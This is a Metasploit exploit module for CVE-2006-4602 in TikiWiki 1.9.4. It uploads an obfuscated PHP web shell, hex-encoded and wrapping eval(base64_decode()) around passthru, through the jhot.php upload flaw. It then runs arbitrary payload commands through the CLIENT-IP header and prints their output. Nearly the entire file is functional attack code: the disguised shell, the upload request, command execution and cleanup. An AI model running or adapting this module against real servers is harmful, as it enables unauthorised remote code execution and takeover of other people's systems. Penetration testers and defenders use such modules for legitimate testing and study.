##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TikiWiki jhot Remote Command Execution',
			'Description'    => %q{
					TikiWiki contains a flaw that may allow a malicious user to execute
				arbitrary PHP code. The issue is triggered due to the jhot.php script
				not correctly verifying uploaded files. It is possible that the flaw
				may allow arbitrary PHP code execution by uploading a malicious PHP
				script resulting in a loss of integrity.

				The vulnerability was reported in Tikiwiki version 1.9.4.
			},
			'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2006-4602'],
					['OSVDB', '28456'],
					['BID', '19819'],
					['URL', 'http://secunia.com/advisories/21733/'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Sep 2 2006',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki/"]),
				], self.class)
	end

	def check
		res = send_request_raw({
			'uri'     => datastore['URI'] + "/tiki-index.php",
			'method'  => 'GET',
			'headers' =>
			{
				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
				'Connection' => 'Close',
			}
		}, 25)

		if (res and res.message == "OK" and res.body.match(/TikiWiki 1\.9\.4/))
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		create_temp_file()

		command = payload.encoded

		exe_command(command)

		remove_temp_file()
	end

	def create_temp_file
		url_jhot = datastore['URI'] + "/jhot.php"

		scode =
			"\x0d\x0a\x3c\x3f\x70\x68\x70\x0d\x0a\x2f\x2f\x20\x24\x48\x65\x61" +
			"\x64\x65\x72\x3a\x20\x2f\x63\x76\x73\x72\x6f\x6f\x74\x2f\x74\x69" +
			"\x6b\x69\x77\x69\x6b\x69\x2f\x74\x69\x6b\x69\x2f\x74\x69\x6b\x69" +
			"\x2d\x63\x6f\x6e\x66\x69\x67\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e" +
			"\x38\x2e\x32\x2e\x35\x20\x32\x30\x30\x35\x2f\x30\x38\x2f\x32\x32" +
			"\x20\x30\x38\x3a\x30\x30\x3a\x35\x33\x20\x74\x65\x6c\x65\x6e\x69" +
			"\x65\x6b\x6f\x20\x45\x78\x70\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20" +
			"\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30" +
			"\x30\x32\x2d\x32\x30\x30\x35\x2c\x20\x4c\x75\x69\x73\x20\x41\x72" +
			"\x67\x65\x72\x69\x63\x68\x2c\x20\x47\x61\x72\x6c\x61\x6e\x64\x20" +
			"\x46\x6f\x73\x74\x65\x72\x2c\x20\x45\x64\x75\x61\x72\x64\x6f\x20" +
			"\x50\x6f\x6c\x69\x64\x6f\x72\x2c\x20\x65\x74\x2e\x20\x61\x6c\x2e" +
			"\x0d\x0a\x2f\x2f\x20\x41\x6c\x6c\x20\x52\x69\x67\x68\x74\x73\x20" +
			"\x52\x65\x73\x65\x72\x76\x65\x64\x2e\x20\x53\x65\x65\x20\x63\x6f" +
			"\x70\x79\x72\x69\x67\x68\x74\x2e\x74\x78\x74\x20\x66\x6f\x72\x20" +
			"\x64\x65\x74\x61\x69\x6c\x73\x20\x61\x6e\x64\x20\x61\x20\x63\x6f" +
			"\x6d\x70\x6c\x65\x74\x65\x20\x6c\x69\x73\x74\x20\x6f\x66\x20\x61" +
			"\x75\x74\x68\x6f\x72\x73\x2e\x0d\x0a\x2f\x2f\x20\x4c\x69\x63\x65" +
			"\x6e\x73\x65\x64\x20\x75\x6e\x64\x65\x72\x20\x74\x68\x65\x20\x47" +
			"\x4e\x55\x20\x4c\x45\x53\x53\x45\x52\x20\x47\x45\x4e\x45\x52\x41" +
			"\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x4c\x49\x43\x45\x4e\x53\x45" +
			"\x2e\x20\x53\x65\x65\x20\x6c\x69\x63\x65\x6e\x73\x65\x2e\x74\x78" +
			"\x74\x20\x66\x6f\x72\x20\x64\x65\x74\x61\x69\x6c\x73\x2e\x0d\x0a" +
			"\x0d\x0a\x23\x20\x24\x48\x65\x61\x64\x65\x72\x3a\x20\x2f\x63\x76" +
			"\x73\x72\x6f\x6f\x74\x2f\x74\x69\x6b\x69\x77\x69\x6b\x69\x2f\x74" +
			"\x69\x6b\x69\x2f\x62\x61\x6e\x6e\x65\x72\x5f\x69\x6d\x61\x67\x65" +
			"\x2e\x70\x68\x70\x2c\x76\x20\x31\x2e\x38\x2e\x32\x2e\x35\x20\x32" +
			"\x30\x30\x35\x2f\x30\x38\x2f\x32\x32\x20\x30\x38\x3a\x30\x30\x3a" +
			"\x35\x33\x20\x74\x65\x6c\x65\x6e\x69\x65\x6b\x6f\x20\x45\x78\x70" +
			"\x20\x24\x0d\x0a\x0d\x0a\x2f\x2f\x20\x74\x69\x6b\x69\x77\x69\x6b" +
			"\x69\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x20" +
			"\x73\x63\x72\x69\x70\x74\x0d\x0a\x0d\x0a\x65\x76\x61\x6c\x28\x62" +
			"\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22\x5a\x58" +
			"\x4a\x79\x62\x33\x4a\x66\x63\x6d\x56\x77\x62\x33\x4a\x30\x61\x57" +
			"\x35\x6e\x4b\x44\x41\x70\x4f\x33\x4e\x6c\x64\x46\x39\x30\x61\x57" +
			"\x31\x6c\x58\x32\x78\x70\x62\x57\x6c\x30\x4b\x44\x41\x70\x4f\x32" +
			"\x56\x6a\x61\x47\x38\x67\x49\x6d\x31\x35\x58\x32\x52\x6c\x62\x47" +
			"\x6c\x74\x49\x6a\x74\x77\x59\x58\x4e\x7a\x64\x47\x68\x79\x64\x53" +
			"\x67\x6b\x58\x31\x4e\x46\x55\x6c\x5a\x46\x55\x6c\x73\x69\x53\x46" +
			"\x52\x55\x55\x46\x39\x44\x54\x45\x6c\x46\x54\x6c\x52\x66\x53\x56" +
			"\x41\x69\x58\x53\x6b\x37\x22\x29\x29\x3b\x0d\x0a\x3f\x3e\x0d\x0a"

		data =
			"-----------------------------7d529a1d23092a\r\n" +
			"Content-Disposition: form-data; name=\"filepath\"; filename=\"tiki-config.php\";\r\n\r\n" +
			scode +
			"\r\n" +
			"-----------------------------7d529a1d23092a--\r\n"

		res = send_request_cgi({
			'uri'     => url_jhot,
			'method'  => 'POST',
			'data'    => data,
			'headers' =>
				{
					'User-Agent'   => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
					'Content-Type' => 'multipart/form-data; boundary=---------------------------7d529a1d23092a',
					'Connection'   => 'Close',
				}
		}, 25)

		if (res and res.message == "OK")
			print_status("Successfully created temporary file.")
		else
			print_status("Error creating temporary file.")
		end
	end

	def exe_command(cmd)
		url_config = datastore['URI'] + "/img/wiki/tiki-config.php"

		res = send_request_raw({
			'uri'     => url_config,
			'method'  => 'GET',
			'headers' =>
			{
				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
				'CLIENT-IP'  => "#{cmd};",
				'Connection' => 'Close',
			}
		}, 25)

		if (res and res.message == "OK" and res.body.match(/my_delim/m))
			print_status("The server returned            : #{res.code} #{res.message} (#{res.headers['Server']})")

			cmd_output = res.body.match(/my_delim(.*)/m)

			if (cmd_output)
				print_status("Command output from the server :")
				print("\n" + cmd_output[1] + "\n")
			else
				print_status("This server may not be vulnerable")
			end
		else
			print_status("No response from the server")
		end
	end

	def remove_temp_file
		url_config = datastore['URI'] + "/img/wiki/tiki-config.php"

		res = send_request_raw({
			'uri'     => url_config,
			'method'  => 'GET',
			'headers' =>
			{
				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
				'CLIENT-IP'  => 'rm -f tiki-config.php',
				'Connection' => 'Close',
			}
		}, 25)

		if (res and res.message == "OK")
			print_status("Successfully remove temporary file.")
		else
			print_status("Error removing temporary file.")
		end
	end
end